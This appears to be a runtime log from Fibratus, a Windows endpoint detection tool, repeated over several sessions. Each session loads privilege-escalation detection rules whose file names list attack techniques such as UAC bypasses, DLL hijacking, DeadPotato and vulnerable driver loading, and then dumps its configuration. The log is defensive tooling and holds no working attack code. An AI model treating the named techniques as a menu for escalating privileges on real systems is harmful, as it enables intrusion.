msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-02T13:18:30+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-02T13:18:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-02T13:18:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-02T13:18:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-02T13:18:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-02T13:18:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T13:18:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:18:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:18:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-02T13:18:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:18:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:18:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-02T13:18:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:18:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-02T13:18:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-02T13:18:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T13:18:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:18:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:18:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-02T13:18:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-02T13:18:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-02T13:18:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-02T13:18:30+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-02T13:18:30+01:00 level=info msg=bootstrapping with pid 5140. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-02T13:18:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ to=>[] content-type=>text/html use-template=>true port=>25 enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ min-buffers=>16 enable-image=>true enable-net=>true enable-threadpool=>false enable-thread=>true enable-vamap=>true flush-interval=>1s buffer-size=>512 enable-fileio=>true enable-mem=>true enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 enable-handle=>false enable-dns=>false enable-audit-api=>true stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 formatter=>text max-backups=>15 log-stdout=>true level=>info max-age=>0] + output ......................... [ http=>[ endpoints=>[] serializer=>json timeout=>5s method=>POST enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false] elasticsearch=>[ bulk-workers=>1 gzip-compression=>false healthcheck-interval=>10s template-name=>fibratus index-name=>fibratus sniff=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s flush-period=>1s enabled=>false healthcheck=>true timeout=>5s trace-log=>false] amqp=>[ routing-key=>fibratus vhost=>/ delivery-mode=>transient durable=>false passive=>false tls-insecure-skip-verify=>false timeout=>5s exchange-type=>topic enabled=>false url=>amqp://localhost:5672 exchange=>fibratus] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-files=>false skip-registry=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] fastscan=>true skip-mmaps=>false scan-timeout=>10s excluded-procs=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-02T13:18:30+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-02T13:18:32+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-02T13:18:49+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-02T13:18:50+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-02T13:18:50+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-02T13:21:19+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-02T13:21:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-02T13:21:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-02T13:21:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-02T13:21:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-02T13:21:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T13:21:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:21:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:21:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-02T13:21:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:21:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:21:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-02T13:21:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:21:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-02T13:21:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-02T13:21:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T13:21:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:21:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:21:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-02T13:21:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-02T13:21:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-02T13:21:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-02T13:21:19+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-02T13:21:19+01:00 level=info msg=bootstrapping with pid 9856. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-02T13:21:19+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ content-type=>text/html use-template=>true to=>[] port=>25 enabled=>false] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-fileio=>true enable-image=>true max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false enable-registry=>true enable-vamap=>true buffer-size=>512 min-buffers=>16 enable-threadpool=>false stack-enrichment=>true enable-mem=>true enable-thread=>true enable-net=>true enable-handle=>false enable-audit-api=>true flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] enabled=>true from-urls=>[]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true formatter=>text level=>info max-age=>0 max-backups=>15 max-size=>100] + output ......................... [ http=>[ enabled=>false serializer=>json endpoints=>[] enable-gzip=>false method=>POST timeout=>5s tls-insecure-skip-verify=>false] amqp=>[ timeout=>5s vhost=>/ passive=>false tls-insecure-skip-verify=>false routing-key=>fibratus url=>amqp://localhost:5672 durable=>false exchange=>fibratus enabled=>false delivery-mode=>transient exchange-type=>topic] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ healthcheck-timeout=>5s index-name=>fibratus trace-log=>false sniff=>false healthcheck=>true enabled=>false timeout=>5s template-name=>fibratus healthcheck-interval=>10s gzip-compression=>false flush-period=>1s bulk-workers=>1 servers=>[http://127.0.0.1:9200]] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true]] + pe ............................. [ enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s enabled=>false excluded-procs=>[] skip-allocs=>false skip-registry=>false skip-files=>false skip-mmaps=>false fastscan=>true excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:187 +time=2025-12-02T13:21:20+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-02T13:21:21+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-02T13:23:17+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-02T13:23:17+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-02T13:23:17+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-02T15:31:22+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-02T15:31:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-02T15:31:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-02T15:31:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-02T15:31:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-02T15:31:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T15:31:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:31:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:31:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-02T15:31:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:31:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:31:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-02T15:31:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:31:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-02T15:31:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-02T15:31:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T15:31:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:31:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:31:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-02T15:31:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-02T15:31:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-02T15:31:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-02T15:31:22+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-02T15:31:22+01:00 level=info msg=bootstrapping with pid 13820. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-02T15:31:22+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html to=>[] enabled=>false use-template=>true port=>25] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false] + eventsource .................... [ flush-interval=>1s enable-registry=>true enable-audit-api=>true max-buffers=>36 enable-mem=>true buffer-size=>512 enable-thread=>true stack-enrichment=>true enable-fileio=>true enable-vamap=>true enable-net=>true enable-handle=>false enable-threadpool=>false enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-age=>0 max-backups=>15 max-size=>100 level=>info log-stdout=>true] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] amqp=>[ exchange-type=>topic enabled=>false delivery-mode=>transient tls-insecure-skip-verify=>false passive=>false routing-key=>fibratus durable=>false url=>amqp://localhost:5672 vhost=>/ timeout=>5s exchange=>fibratus] elasticsearch=>[ gzip-compression=>false trace-log=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s sniff=>false flush-period=>1s index-name=>fibratus healthcheck=>true enabled=>false bulk-workers=>1 template-name=>fibratus healthcheck-timeout=>5s timeout=>5s] http=>[ endpoints=>[] serializer=>json timeout=>5s method=>POST tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] skip-allocs=>false fastscan=>true scan-timeout=>10s skip-files=>false excluded-files=>[] enabled=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-02T15:31:22+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-02T15:31:25+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-02T15:39:03+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-02T15:39:04+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-02T15:39:04+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-02T15:39:06+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-02T15:39:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-02T15:39:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-02T15:39:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-02T15:39:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-02T15:39:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T15:39:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:39:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:39:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-02T15:39:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:39:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:39:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-02T15:39:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:39:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-02T15:39:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-02T15:39:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T15:39:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:39:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:39:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-02T15:39:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-02T15:39:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-02T15:39:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-02T15:39:06+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-02T15:39:06+01:00 level=info msg=bootstrapping with pid 12592. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-02T15:39:06+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true port=>25 to=>[] content-type=>text/html enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ max-buffers=>36 enable-image=>true enable-threadpool=>false enable-vamap=>true enable-dns=>false enable-handle=>false enable-thread=>true 